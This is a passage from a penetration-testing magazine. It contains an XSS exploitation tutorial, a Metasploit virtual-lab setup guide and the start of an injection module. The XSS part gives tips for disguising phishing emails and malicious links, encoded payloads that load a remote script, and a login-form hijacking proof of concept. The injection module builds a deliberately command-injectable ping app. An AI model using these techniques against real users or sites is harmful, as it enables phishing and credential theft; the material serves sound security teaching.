tag at the beginning, just before our <script> tag. Figure 17 shows the results of the javascrip t execution. In Figure 16 you can see the result of javascript execution.
Figure 17. href value after javascript execution
What goes wrong? Nothing, Firefox encodes all the requests so this kind of vulnerabil ity can not be exploited on the Firefox web browser. Does this mean that the code is not vulnerable? Absolutely not. In fact, when the same code is evaluated by another web browser, things may very well be different. By accessing this URL “http://testhtml5.vulnweb.com/?‘‘><script>alert(1);” using Internet Explorer, you’re going to effectively see that we were able to inject, and execute, arbitrary code. Figure 18, shows the code executed in the browser.
PenTest Magazine |
Penetration Testing in Practice | PenTest Magazine
Figure 18. href property at runtime
DOM XSS are pretty nasty and they are not always easy to detect. In real life you have to deal with encoded or minified version of javascript. In addition to your skill, a good scanner can help you spot this kind of vulnerabilities.
How to trick the users A study named “The inevitability of the click” reported in the Data Breach Investigations Report (DBIR) released by Verizon effectively suggests how users are prone to be tricked. Prone to be tricked does not necessarily mean that users are completely dumb and that they don’t consider, for example, the anomalies in their e-mail communications or in the rendering of the web pages. Nowadays the users, or at least the users I’ve met during my work, are well aware about the risk deriving from a wrong click so it is hard to carry on an XSS attack without taking care of all the details, even the less significant to us.
59
Let’s start with the first tip. Usually an XSS attack starts with a malicious email containing the link used to exploit the vulnerability. Often the mail are not well formatted and the user is discouraged to click anywhere on the mail. Moreover, if the user try to inspect the link by hovering the mouse on it, the exploit string would seem suspicious to the user and the link would not be clicked. In my experience, an email composed only by a single image and an innocent link to a web page hosting the real exploit is enough to trick the user into clicking the email. As a side effect of this, most of the perimetral antivirus and antispam systems do not recognize the email as a threat … how to kill two birds with one stone . An HTML email template could be the follow 1 3 4 5 6 7 8
2
Sometitle 
Note that the image is embedded, so the mail client will not annoy the user telling that for security reasons the remote content will not be shown. The second tip regards the web pages on the site that hosts the xss exploit. If a link cont ains directly the exploit string, the user would notice it just by hovering with the mouse on it. Figure 19 shows what happen with a link that embeds directly the exploit string.
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice
Figure 19. Exploit string disclosed to the user
To avoid this you can take advantage of DOM and javascript properties: in brief you can make a link appear in a way and once the click event is fired you can change the link destination. The following code does the magic . 1 2
Pentest Magazine 3 4
<script>
5
function gotoUrl(elementId){
6
var xssVector = unescape(‘%68%74%74%70%3a%2f%2f%74%65%73%74%70%68%70%2e%76
%75%6c%6e%77%65%62%2e%63%6f%6d %2f%6c%69%73%74%70%72%6f%64%75%63%74%73%2e%70%68%70%3f%61%72%74%69%73%74%3d%3c%73%63% 72%69%70%74%3e%61%6c%65%72%74%28%27%70%65%6e%74%65%73%74%6d%61%67%27%29%3b%3c%2f%73% 63%72%69%70%74%3e’); 7
var elementA = document.getElementById(elementId);
8
elementA.removeAttribute(‘href’);
9
elementA.setAttribute(‘href’, xssVector);
10 11
}
12 13
Click Me 14
60
15
Instead of the classic link format it is possible to change the link behaviour through the javascript function named gotoUrl(). The function takes as argument the element id of the link and simply replaces the “href” attribute stated in the html tag declaration with the content of the variable named “xssVector”. The content of the variable “xssVector” is the string “http://testphp.vulnweb.com/ listproducts.php?artist=<script>alert(‘pentestmag’);”, our attack payload used in the first example I showed. In this case the string was encoded just to take it easy and avoid the special characters escaping. The above example is designed to issue GET request. If the XSS resides inside a POST request the same example would need some modifications although the basic concept remains the same. When you have to deal with XSS in POST request you have to include a form similar to the one used in the vulnerable site in your page and then manipulate the vulnerable parameters using the Javascript code. The following example shows just how to do that. 1 2
Pentest Magazine 3 4 5
Click Me 6 7
13
PenTest Magazine |
Penetration Testing in Practice | PenTest Magazine 14 <script> 15
function gotoUrl(elementId){
16
var elementA = document.getElementById(elementId);
17
elementA.removeAttribute(‘href’);
18
document.getElementById(‘name’).value = unescape(‘%3c%73%63%72%69%70%74%3e%61
%6c%65%72%74%28%27%70%65%6e%74%65%73%74%6d%61%67%27%29%3b%3c%2f%73%63%72%69%70%74%3e’); 19 20
document.getElementById(‘forma’).submit(); }
21 22 23 24
By following these basic tips, in addition to some pretty graphics layout (possibly alike the one used in the vulnerable website), you will probably trick most of the users victim of your attack during a penetration test.
Write your first XSS exploit It can be useful to trigger the execution of an arbitrary pop-up as to demonstrate that a vulnerability that lead to XSS attack exists in a web appl ication, but it is rather useless from a pentester point of view because you cannot gain any advantage from it. However you can leverage an XSS by writing an exploit that can be useful during a penetration test activity, for example by collecting the user credentials once submitted through the login form. Consider the following scenario: the website “http://testphp.vulnweb.com” exposes a login form on the page “login.php”. This page does not suffer of vulnerabilities that lead to xss attack thus, to reach our goal and collect the users credentials, we need to exploit the vulnerability identified on the page “listproducts.php”.The idea behind the exploit is quite simple: once the user falls victim of our attack, the injected code will clear the current page, load the page with the modified login form and, whe n the form is submitted, it will execute some actions. The first step is to modify the XSS landing page in order to load a custom script i nstead of prompting an alert() by modifying the content of the variable named xssVector. The variable will contain the following string: http://testphp .vulnweb.com/listproducts.php?artist=<script src=”http://192.168.204.2/ptmag.js”>. The page can be modified as follow:
61
1 2
Pentest Magazine 3 4
<script>
5
function gotoUrl(elementId){
6
var xssVector = unescape(‘%68%74%74%70%3a%2f%2f%74%65%73%74%70%68%70%2e
%76%75%6c%6e%77%65%62%2e%63%6f%6d%2f%6c%69%73%74%70%72%6f%64%75%63%74%73%2e%70%68%70% 3f%61%72%74%69%73%74%3d%3c
%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%
31%39%32%2e%31%36%38%2e%32%30%34%2e%32%2f%70%74%6d%61%67%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e’); 7
var elementA = document.getElementById(elementId);
8
elementA.removeAttribute(‘href’);
9 10
elementA.setAttribute(‘href’, xssVector); }
11 12 13
Click Me 14 15
Now we have to write the code responsible for the page modification, the first thing we have to care of is the URL bar behavior as if a user sees “strange” strings in it could suspect that he has fallen victim of an attack. The URL bar modifica tion could be achieved using the function ” window.history. replaceState()” in the following way: …var HIST_STATE = ‘login page’;
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice var HIST_LOCATION = ‘/login.php’; window.history.replaceState(HIST_STATE, HIST_STATE, HIST_LOCATION); …
The following step is needed to clear the page content. This operation is necessary in case of high network latency. Without this operation the user will be able to see that a web page is not properly formatted because of the injection. Briefly, this code will remove the whole content of the body and will replace it with a new body and the message “Page is loading …”.To change the web page aspect you can use the following code: …var h3Section = document.createElement(‘h3′); var bodySection = document.getElementsByTagName(“body”)[0]; h3Section.innerHTML = ‘Page is loading …’; bodySection.parentNode.removeChild(bodySection); document.body = document.createElement(‘body’); document.body.appendChild(h3Section); …
As result of this operation the page content will change f rom what is shown in Figure 20 to what is shown in Figure 21.
62
Figure 20. Page content before the modifications
Figure 21. Page content after the modifications
Finally it is time to replace the content. Since I’m a lazy boy I’m going to show you a technique that will surely work on firefox (it should be tested on other browsers but I’m sure that it d oes not work on Internet Explorer), and that it is capable to replace the whole page in one shot. To replace the page content the script will issue an XMLHttpRequest, once the page is loaded in background the content is replaced by using the functions document.open(), document.write() and document.close(). In order to modify the page behaviour, the script, before writing the page using the above functions, makes some manipulation of the resulting html using the strings manipulation functions to insert the arbitrary script and to modify the form action. The code responsible for this is the following: 1 var TARGET_URL = ‘/login.php’; 2 var xmlHttpRequest = null; 3 4 var scriptContent =
PenTest Magazine |
5
‘<script type=”text/javascript”>function doHttpPost(){‘ +
6
‘var form=document.getElementById(\’user-login-form\’);’+
7
‘alert(\’username=\’+ form.elements[0].value+\”+
Penetration Testing in Practice | PenTest Magazine 8
‘&password=\’+form.elements[1].value);’+
9
‘return false;}’;
10 11 function llPage(){ 12
if ((xmlHttpRequest.readyState == 4) && (xmlHttpRequest.status == 200)) {
13 14
var oldAction = ‘action=”userinfo.php”‘;
15
var newAction = ‘id=”user-login-form” action=”#” onsubmit=”return
doHttpPost();”‘; 16
var splitmarker = ‘’;
17
var originalPage = xmlHttpRequest.responseText;
18
var beforeInjection = originalPage.substring(0, originalPage.
indexOf(splitmarker)); 19
var afterInjection = originalPage.substring(originalPage.
indexOf(splitmarker)); 20
var pageResult = beforeInjection + scriptContent + afterInjection;
21
pageResult = pageResult.replace(oldAction, newAction);
22 23
document.open();
24
document.write(pageResult);
25
document.close();
26
}
27 } 28 29 try { 30
xmlHttpRequest = new XMLHttpRequest();
31 } catch (e) { 32
alert(‘XMLHttpRequest not available :(‘);
33 } 34 35 xmlHttpRequest.onreadystatechange = llPage;
63
36 xmlHttpRequest.open(“GET”, TARGET_URL); 37 xmlHttpRequest.send(null);
Some clarifications about the script: after the object instantiation, from line 29 to 33, we set an handler for the onreadystatechange event, at line 35. After the request is sent, at line 37, using the GET method on the target page defined at line 36, the javascript will start to hit our handler function. Once the page is fully downloaded (xmlHttpRequest.readyState = 2 and xmlHttpRequest.status = 200), at line 12, the string manipulation takes place and the page content replacement occurs inside the llPage() handler. The original html undergoes two fundamental changes: the first change regards the script injection, using the substring functions, at lines 18,19, with the marker defined at line 16, the downloaded html content is modified with the insertion of the script, defined at line 4. At line 20 you can see the result of the operation. the second change regards the form action. At line 21 the original action, the one defined at line 14 is substituted with the new action, which allows the execution of the arbitrary script once the form is submitted, as defined at line 15. After the changes are made the page is rendered to the user from line 23 to line 25. in this PoC the script will popup the supplied credentials once the form is submitted. By putting this all together, the final script is the following: 1 var HIST_STATE = ‘login page’;2 var HIST_LOCATION = ‘/login.php’; 3 var TARGET_URL = ‘/login.php’; 4 5 var scriptContent = 6
‘<script type=”text/javascript”>function doHttpPost(){‘ +
7
‘var form=document.getElementById(\’user-login-form\’);’+
8
‘alert(\’username=\’+ form.elements[0].value+\”+
9
‘&password=\’+form.elements[1].value);’+
10
‘return false;}’;
11 12 var xmlHttpRequest = null; 13 14 function llPage(){
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice 15
if ((xmlHttpRequest.readyState == 4) && (xmlHttpRequest.status == 200)) {
16 17
var oldAction = ‘action=”userinfo.php”‘;
18
var newAction = ‘id=”user-login-form” action=”#” onsubmit=”return
doHttpPost();”‘; 19
var splitmarker = ‘’;
20
var originalPage = xmlHttpRequest.responseText;
21
var beforeInjection = originalPage.substring(0, originalPage.
indexOf(splitmarker)); 22
var afterInjection = originalPage.substring(originalPage.
indexOf(splitmarker)); 23
var pageResult = beforeInjection + scriptContent + afterInjection;
24
pageResult = pageResult.replace(oldAction, newAction);
25 26
document.open();
27
document.write(pageResult);
28
document.close();
29
}
30 } 31 32 window.history.replaceState(HIST_STATE, HIST_STATE, HIST_LOCATION); 33 34 var h3Section = document.createElement(‘h3′); 35 var bodySection = document.getElementsByTagName(“body”)[0]; 36 37 h3Section.innerHTML = ‘Page is loading …’; 38 bodySection.parentNode.removeChild(bodySection); 39 document.body = document.createElement(‘body’); 40 document.body.appendChild(h3Section); 41 42 try {
64
43
xmlHttpRequest = new XMLHttpRequest();
44 } catch (e) { 45
alert(‘XMLHttpRequest not available :(‘);
46 } 47 48 xmlHttpRequest.onreadystatechange = llPage; 49 xmlHttpRequest.open(“GET”, TARGET_URL); 50 xmlHttpRequest.send(null);
Figure 22 shows what happens once the modified form is submitted.
Figure 22. Page content after the modifications
Conclusions In this module I have shown you how to detect and exploit the vulnerability that lead to XSS attacks. During a penetration test you have to adapt these techniques against your scenario in order to successfully exploit the vulnerabilities. In the next modules I will show you how to detect and exploit vulnerabilities through protocols differe nt from http.
PenTest Magazine |
Penetration Testing in Practice | PenTest Magazine References • • • • • •
https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project http://portswigger.net/burp/ http://testphp.vulnweb.com/ http://testhtml5.vulnweb.com https://code.google.com/p/domxsswiki/wiki/Sources https://code.google.com/p/domxsswiki/wiki/Sinks
by Francesco Perna
65
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice
Tutorial 1 – Creating a Safe Testing Environment Session 1 – Setting up a virtual lab Welcome to the world of penetration testing using one of the most famous tools or frameworks out there – Metasploit. Metasploit is the work of hacker/genius/entrepreneur H. D. Moore, now developed under the company name Rapid7 – http://www.rapid7.com/ . So why is Metasploit used all over the world to perform penetration testing and even hacki ng? Because of its open source nature, but most important, because it’s more than a tool: it’s a framework . From hackers, to penetration testers and even script kids, Metasploit is a global hacking framework that gets the job done. In this workshop I want you to became familia r with the most important tools and assessments you can do, so you can realize and unleash all its power on your penetration tests. So if you’re ready let’s get started. The first thing you will need to do will be tocreate a controlled environment virtual lab. We don’t want you to do anything illegal and it’s not a good thing to learn new skills in production environments. If something goes wrong, it wouldn’t look good.
66
– Please Note – Although this is a workshop from the beginner to advance skills, we’ll not cover det ailed installation of all software mention. It’s a good exercise for you to became familiar with most of the tools mention.
With so many options available for Metasploit, what flavor should we pick to insta ll? The good thing about this Metasploit is that it will run on almost any OS available: from Windows to Linux you have a choice and that’s always good. For our Virtual Lab Tutorial, we’ll go with something a little bit more advanced. We’ll be using a full version of Kali Linux. The reason why it is because Metasploit, as mentioned before, is not a tool, but better yet a framework and therefore it will interact will a bunch of other tools. And since we’ll be exploring that side also, Kali Linux brings out of the box most of the tools we’ll need to use. That will save us a lot of time by not making us install everything from scratch. Never the less, you can always create your own installation and still follow all the tutorial steps. With Metasploit already present in Kali Linux, we’ ll need a target. Remember, we should never do any kind of testing on systems we don’t own and/or do not have written permission to do so. The good folks of Rapid7 (just to refresh your memory, this is the company that developed and owns Metasploit) created a VM we can easily deploy to practice our Metasploit skills without doing anything illegal – Metasploitable 2. And because we want this to be as real as possible, we’ll nee d to add something extra to make it a complete network. We’ll be adding a full functional firewall and a full functional router. We’ll be doing all this inside a “sandbox” environment, making sure nothing leaks to the outside. After all you’ll be running some compromised machines that we don’t hackers from the outside to find out. For the firewall we’ll be using Checkpoint 77.20 a nd for the router we’ll be using a Cisco 1800 series. All this will go into our good old Virtualbox. Yes everything will be virtual. Some of you might be starting to get nervous (at least I did when writing this tutorial). Where will I find all the material required? Will I need to invest money to get all the material? What if I can’t get it?
PenTest Magazine |
Penetration Testing in Practice | PenTest Magazine Worry not, since most (some software may require a corporate subscription) of the tools mention are free or have evaluation licenses. Furthermore, for a ll things you can’t just go and download I’ll always provide a free alternative. At the end of the day, if you feel we are going to far all you need in reality is Kali Linux and the Metasploitable 2 and those are definitely 100% free. OK, we are now all set to go. What we’ll need is: • • •
• • • • • •
Virtualbox to virtualize our all lab – https://www.virtualbox.org/wiki/Downloads Kali Linux ISO full version – http://www.kali.org/downloads/ Metasploitable 2 as the target -http://sourceforge. net/projects/metasploitable/files/Metasp litable2/ Checkpoint Gaia 77.20 – you’ll need an active subscription acc ount Amazon AWS free tier account – http://aws.amazon.com/ Debian as the router emulator – https://www.debian.org/distrib/ Dynamips – we’ll install this from Debian Dynogen – also installed from Debian Cisco IOS image – you’ll need an active subscription account
We won’t be able to provide detailed installati on instructions for all OS and programs mention but, every time I need you to do something specific, I’ll make sure it’s properly documented. As you can see from the above list there’s a lot of flavors that can be rapidly replaced for some of your own choice. You might prefer Ubuntu instead of Debianor even Kali Linux. That’s up to you as most of things will run either way. The only thing we’ll need to tune so it won’t eat all your CPU is the virtual router. But we’ll get there. Also, be aware of the physical host requirements, since you’ll need some ram and disk space on the host where you’ll be running all this machines. It might be a good idea to get a external drive to host all the disks of the virtual machines. Before we start, let’s take a look at our diagram. Remember we’ll be doing everything in a “sandbox” environment but we want to map the real world as much as possible. That will allow us to better understand how penetration testing works in real life scenarios. Also, we’ll have a better understanding on network scanning and it’s results. So take a close look at the below diagram:
67
This is the our network throughout the Workshop. It might look complex but you’ll see it’s easier than you think. Another side of this simple diagram is the ability to simulate as real as possible the scenarios penetration testers will find when doing their job: we have our fluffy Router, Cisco in this case but you can use whatever you want, to simulate our WAN. That allows us to place any device on it not really mattering if it’s the Kali or any other device you want to test; we have our firewall, Checkpoint in our case, but you can easily replace it b y any Linux with IPTABLES on it. That means you can segment the network anyway you want to, by adding more interfaces and virtua l networks
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice although Virtualbox will limit us to 4 networks. You can add a new network and thenadd load balancers or any AD servers. Imagination is the limit; and then you have our servers, Metasploitable in our case, but you might want to test any other server, such as Apache or IIS – just deploy a new Internal network and put a leg of the firewall on it. First item on our list is the virtual environment. We’ll be using an open source alternative, Virtualbox. • •
•
•
Download Virtualbox fromhere https://www.virtualbox.org/wiki/Downloads You can install Virtualbox in multiple OS and you have a 32 and 64 bit edi tion. It’s not really relevant where you install it, just that you install it. You can even run it on a Debian and install it with apt-get install virtualbox (as long you make sure it’s in the repositories). If you deci ded to go with Windows, just download the correspondent version and instal l it as any either program. After you follow all the steps during installation and before w e deploy our first VM, we’ll need to create our networks according to the diagram. Just one is done on global proprieties, so to get started lets open Virtualbox We’ll need to add a network that will allow us to manage all the virtual machines. The trick is to have a network that won’t be able to leak any traffic but still allow us to reach all the interfaces such as http, https, ssh, telnet, etc. For this task, we need to open Virtualbox : Click on File menu > Preferences > on the left hand side pick Network > and choose on the top tab Host-only Networks You just choose add from the right hand menu and you can leave it on the defaul ts. In my case, I’ll be using the network “192.168.56.0/24” network with no DHCP server enabled. •
•
68
And that’s it, we’re ready to deploy our virtual machines by choosing the prop er interface to connect the host. This scenario can also escalate, as you can add dif ferent networks and devices and test different scenarios. There are different alternatives to Virtualbox and if you look around you even might find better alternatives. Let’s say you have a Citrix XenServer (http://www.citrix.com/products/xenserver/overview.html ) or you prefer another desktop virtualization tool like VMware (http://www.vmware.com/products/workstation ) or even you rather use Microsoft Hyper-V, you can. It’s really up to you and most of the solutions out there let you configure that same type of networks we’ve configured. The big difference I found from system to system is on how you configure internal networks. In Virtualbox you do it from settings on each machine, but in all the systems mention above you have to define such networks before you bind a VM to it. You can find more detailed documents on the support page for each vendor.
PenTest Magazine |
Penetration Testing in Practice | PenTest Magazine It’s time to get our hands dirty – Kali Linux. •
As mention before, I’ve decided to go with Kali Linux since we’l l not be using just Metasploit but also a bunch of tools that play well with Metasploit. Most of these tools are already installed in Kali and ready to use. Never the less, Kali Linux is a modified Debian Linux distro, so if you feel like just deploy any flavor you prefer, go ahead and do it – it’s a great exercise and I’ve done it before just for practice. Most of the tools we’ll be able to run on most of the distros out there. My only advice would be to stick with Debian flavor so you won’t get confused with some of the commands I’ll be using: First step you would need to download the full version from Kali Linux official website – http:// www.kali.org/downloads/ . You have a choice to pick between 32 or 64 bits image. It really doesn’t matter and really depends on the computer where you’ll be running your lab. Create a new VM for Kali Linux. Open Virtualbox and choose New from the top menu. A new window will pop-up where you’ll need to: •
•
69
As shown in the figure: 1. Give it a name 2. Choose you operating system from the type and version tab (I’ll omit the press next after each step but you definitely will need to do it) 3. Choose the amount of RAM for the VM. For Kali I don’t like to go below 1024 and maybe even give it 2048 but it really depends on the total amount you have available 4. Create a virtual hard drive 5. For the type choose VDI or any other format you prefer 6. Choose Dynamically allocated so you don’t use unnecessary space on you physical hard drive 7. Give it at least 75 Gb of disk space and select a location for the VM disk file. Considering the diagram we’ll be following I decided to put all the virtual machine disks on a separate USB drive (1TB in my case). My advice would be to get one since external hard drives are pretty cheap right now. 8. Finally press create and your VM will be created Then, Select the Kali Linux machine you’ve created and press the top menu Settings, after that Go to Network, choose NAT for Adapter 1 and choose Internal Network for Adapter 2 and type WAN
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice on the Name box. Later on we can disconnect Adapter 1 and have the Kali Linux fully isolated of our network. Adapter 1 is necessary since it will provide us access to the Internet to run upda tes or installations. We also can leave the Adapter 1 on and create static routes to the networks we’ ll are going to simulate pointing to other internal networks and therefore having a Internet access always on. Most of you want to be able to surf the net from inside Kali Linux, so this can be a good option to do so.
70
PenTest Magazine |
Penetration Testing in Practice | PenTest Magazine After that, Go to Storage > Choose the Controller: IDE > Choose the empty > On the CD/DVD there’s a small arrow you need to press and choose the location where you saved Kali Linux ISO you’ve download it (Choose a virtual CD/DVD disk file option)…
71 At the end press OK , and from the VM menu in Virtualbox, select Kali VM and press start to boot up the machine
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice •
•
From the Kali initial menu, choose install and follow the step-by-step guide. Most of the menus are intuitive so you won’t have any problem. Also, it’s a good exercise you grt familiar with the installation of Debian flavors so I won’t go into much detail on this step. When prompted for a primary interface, choose the one t hat corresponds to the NAT interface, in our case Adapter 1, since Kali will use this interface during install to fetch some required files
72
•
•
PenTest Magazine |
Before we start using Kali Linux on our Lab, we need to make sure it’s fully updated and some applications are in place. For these steps I do recommend that you disconnect the second interface and just use the NAT one As soon you finish installation, login (with root username) to Kali Linux with the credentials provided during the initial setup and open a terminal window (it should be a link on the top bar by default) and run the following command:
Penetration Testing in Practice | PenTest Magazine •
We also need to install Linux headers as follows:
apt-get install linux-headers-$(uname -r)
•
We’ll need to install Virtualbox tools so we can take the most out of the Kali VM: ü With the VM running, click on top menu Device > select Insert Guest Additions CD image and select Cancel if a pop appears on Kali Desktop •
73
• • •
• •
Open Terminal window Do “df -h” on the terminal window and check the output for cdrom Create a directory for all your downloads by typing the follow ing command on the terminal window mkdirDownloads Go to the created directory – cd Downloads Copy the Virtualbox additions to your local computer – cp -i /media/cdrom0/ VBoxLinuxAdditions.run
• •
Give it the right permissions to run – chmod 777 VBoxLinuxAdditions.run And just run it – ./VboxLinuxAdditions.run
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice
And that’s it. Kali Linux is up and running and ready for penetration te sting. Just remember to disconnect adapter 1 and connect adapter 2 since that’s the one that puts the VM on the WAN. Metasploitable 2 – there isn’t much we can do on this except to download it and run it. Metasploitable 2 comes in a zip format and inside you’ll find a VM ready to run, in our case in Virtualbox. This VM was specially prepared by Rapid7 with some nice vulner able software versions, so we could freely test the Metasploit framewor k without doing anything illegal. •
74
•
Download the zip file from – http://sourceforge.net/projects/metasploitable/files/ Metasploitable2/ and unzip it Lets start by opening Virtualbox, create a new VM called Metasploitable 2 with: Type Linux Version Ubuntu 32 bits 512 MB of RAM Use an existing virtual hard drive file and select the vmdk file that you just unziped and press create Choose the new Metasploitable 2 VM and press settings Go to Network > and make sure Internal Network is selected and cable is connected. On the name of the Network just type DMZ and press OK • • • •
•
•
PenTest Magazine |
Penetration Testing in Practice | PenTest Magazine • • • •
Press OK and start the VM The default login is msfadmin/msfadmin Login and check the interface configuration – ifconfig If everything went as planned, you shouldn’t have any IP assigned. We’ll need to fix that. On a terminal use vi or any other text editor for that matter to edit /etc /network/interfaces as follows:
sudo vi /etc/network/interfaces
Then, change the file according to the below screen shot…
75
Also, Re-Check your network configuration – ifconfig
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice As you may have noticed, we have setup the gateway for this host as the firewall IP. And that’s it, you have an attack target. One BIG warning about this VM – on their website , Rapid7 is very prompt to say “Never expose this VM to the outside world”. Please make sure you don’t do so. There are too many scanners running in the wild and someone could easily exploit this host and use it to attack your own network. There are a lot of alternatives to this setup, since Metaspl oitable is not more than an insecure Ubuntu with a bunch of not secured/patched applications. Never the less, I told you I would give you an alternative, so here it is – https://community.rapid7.com/community/infosec/blog/2011/12/23/ where-can-i-find-vulnerable-machines-for-my-penetration-testing-lab . I can’t be really sure that all the examples on this tutorial will work on some of the other machines but I’m prett y sure that you’ll be able to adapt with all the knowledge from this workshop.
The Firewall Welcome to Checkpoint world. I don’t want to go into much detail about Chec kpoint firewalls but for those who don’t know them please check their website a t www.checkpoint.com . Checkpoint firewalls are a modular all-in-one security system and for the tutorial itself who just need to know that the modular components are referred as Blades (that require licensing) and they can pack their firewall on a modified version of Red Hat that we can run in virtual box. You will need a corporate account to download their Gaia software (the one we need for the tutorial), in our case Gaia R77.20. Also, I won’t go into much detail on installing the firewall since I b elieve to be very straight forward. If you don’t get it the first time, the good news is that you can always try again. Also, we’ll need to decide where are you going to manage the fire wall. Checkpoint uses a management station that connects to a client, smart console, that only runs on Windows. So we’l l needing a windows machine to install and manage the firewall. In my case I’m going to use a Windows 7 VM on Virtualbox to manage it. The reason why it’s because I’m actually running al l this lab on a Kali Linux (inception style, Kali inside Kali) so no way I can get the smart console installed on Linux. The point is, you’ll need to be careful when you install the fi rewall and adapt according to your scenario. You’ll be prompted to pick a management interface (you can always change it after but we won’t be covering this) and you need to make sure you have access to the firewall VM from that host. Let’s say you’re running Virtualbox on a Windows machine. What you could do is configure Adapter 1 on the firewall to be a Host-only interface and then install the smart console on your physical Windows machine.
76
In our case, since I’m using a Windows 7 VM to manage the firewall, I’m going to add 1 more interface to each VM, place it in a Internal-network called MGMT and give it any IP I want. Then both the Windows VM and the firewall VM will have an adapter on this network and I’ll set it to be the management adapter when installing the firewall. This way I’ll be able to manage the firewall from my Windows 7 VM without having traffic going through my physical network (that could be a p otential nightmare). What we need to do: • •
•
Login to https://usercenter.checkpoint.com and search for Gaia R77.20 ISO. Download it Open Virtualbox, create New VM > Name it FW1 > Choose Linux and Red Hat as the OS > Give it 512 MB of RAM > Create a new dynamically allocated hard drive with 75 GB > And Create Open the settings of the new VM For the CD drive lets pick the ISO file download from Checkpoint For the networking •
Adapter 4 will me our management interface – Inte rnal Network MGMT Adapter 1 will me the connection to the outside, normal ly called Untrust (Internal Network also) Adapter 2 will be InternalnetworkDMZ as our Metasploitable 2 machine Start FW1 VM and follow the step-by-step installation, leaving most to the defaults and remembering to set the management interface to be adapter 1 in our case (eth3) When the installation finishes, HTTPS to the IP set during setup a nd finish the configuration Login with admin and the password setup during installation Follow the installation wizard At this point it’s irrelevant which interface you choose to connect t o user center. This firewall will come with a full license for 15 days so you can try all the blades of the fir ewall Make sure you choose FW1 as the hostname • • •
•
•
• • •
•
PenTest Magazine |
Penetration Testing in Practice | PenTest Magazine On the Installationtype pick SecurityGateway or SecurityManagement And then on products make sure SecurityGateway and Securitymanagement are both selected And Finish. The firewall will continue the setup a nd reboot at the end. At this point it’s a good idea to download smart console for windows and install it on the host from where you’ll be managi ng the firewall. In our case form the Windows 7 VM • •
•
77
•
After the reboot, just HTTPS to the firewall aga in and setup the following: Set interface eth0 address (and don’t forget to enable it) to 10.10.0.254/24 Set interface eth2 to be 10.20.0.254/24 Set the default route to be 10.10.0.200 • • •
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice •
Start by using smart console (smart dashboard) to log into you firewall. Just remember that you’ll need to provide the IP of eth0 configured on previous steps. We won’t be going to explain in detail how Checkpoint firewalls work, since this is not a workshop on firewalls. After, configure the following rules on the firewall: Create the explicit deny rule so we can see what’ s being denied Create a management rule so you can still access and manage the fire wall Create a rule to protect traffic t o the firewall. After all that’s not what we are going to test. Group all the ports we’ll be allowing acc ess to Metasploitable under one group and create the rule Alternatives to this setup – besides the obvious, don’t put in place and just add the Kali Linux VM to the same Internal network than the Metasploitable 2 VM, you can use iptables on a Debian Linux. There are some good tutorials on how to do so and the important thing will be to have the right ports we configured earlier. I’ll leave you with this nice tutorial on how to do it – https://wiki. • • • •
•
debian.org/iptables •
Also, in my case, I’m setting up a new interface on my Windows 7 VM and place it n the Internal network MGMT and give it an IP. You’ll need to download Smart console R77.20 for Windows to get access to the firewall. This is the only way to install policies.
Finally for Our router – Now to tell you the truth I don’t believe that you’ll be needing this very much for the tutorial. We’ll not be putting any ACLs on it or even do any special routing, such as OSPF, but instead just create some basic static routes to the DMZ over the firewall. Never the less, I want to leave you with the full lab so you can practice and discover the advanced Metasploit concepts and for that you’ll probably be tunning the router to also have some ACLs, as normal production networks would have. So we’ll leave it in.For this task you’ll nee d to: •
• • •
78
•
Download and install the latest Debian version – we’ll not go through the setup with you since it’s plain simple. Make sure the Debian will have eth0 on the Internal network WAN and eth1 on the Untrust Do apt-get update && apt-get upgrade as root Install Dynamips – Install Dynogen – Get your hands (you need a corporate account with Cisco) on a 1800 router image and c onfigure it as your router
by Bruno Rodrigues
PenTest Magazine |
Penetration Testing in Practice | PenTest Magazine
Broken Authentication and Session Management
I
njection is a process of inserting some data (possible malicious) in input that goes to a Web application. There are many types of injections, differentiated mostly by the actual place of injecting malicious data.
The most often seen types are: • • • • • •
Command Injection SQL Injection Code Injection Xpath Injection RegEx Injection XXE (XML External Entities) Injection
There are other varieties, of course, but the mai n thing to understand here is that injection can be done in every place where a hacker can control the input and the system does not validate it correctly or blindly trusts it. And whatever type you call it, it will still be an injec tion. Injections is a really wide field of vulnerabilities, and in this module I will try to underc over the most popular types.
79
The other main thing to understand here is the cause of injecti on. Any injection becomes possible due to a lack of input validation or mistakes in processing input (or both). The impact on security of such kind of vulnerabilities can be fa tal. Injection can result in data loss or corruption, lack of accountability, or denial of access. Injection can sometimes lead to complete host takeover. Now let’s look over each popular type of injection.
Command Injection Command injection is a method of executing OS system commands in general. These commands are delivered with user-controlled input data and then incorrectly parsed (or not parsed at all). This vulnerability is very common for web based control panels and many kinds of web wrap pers to some os-native scripts. So, for example, if there’s a flow in the Web application’s logic where a file in the filesystem is created somehow based on user input, this is a point to double-check validation and correctness of processing the input data. Now, let’s construct our own vulnerable web application to understand the background of the command injection process. We will write a simple Web app with the main goal of pinging servers on the internet. There are many such applications in the wild now. And they are popular — whois web services, online statistics and others. So, this application allows one to enter a server address and ping that address, then it returns the result. Pretty straight forward. I will provide you two versions of all examples: one in Python and one in PHP.
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice First, the Python version. Just for speed of developing, I’ll install lpthw.web framework for Python.
Create a bin folder for our main script and a te mplates folder for the HTML page with output from our script. Next step is to write the main script. Create a file called «app.py» in the «bin» folder. Now, here is a simple Web application making a ping: import web import subprocess
80
import os
urls = (‘/’, ‘index’) app = web.application(urls, globals()) render = web.template.render(‘templates/’) class index: def GET(self):
form = web.input(name=”google.com”) servername = form.name # Calling ping command p = os.system(‘ping -c 3 ‘ + servername); if p == 0:
output_from_ping = ‘OK!’ else:
output_from_ping = ‘DOWN!’ return render.index(output = output_from_ping)
if __name__ == “__main__”:
app.run()
The next file is a template for our output. Name it inde x.html and put it in the templates folder.
PenTest Magazine |
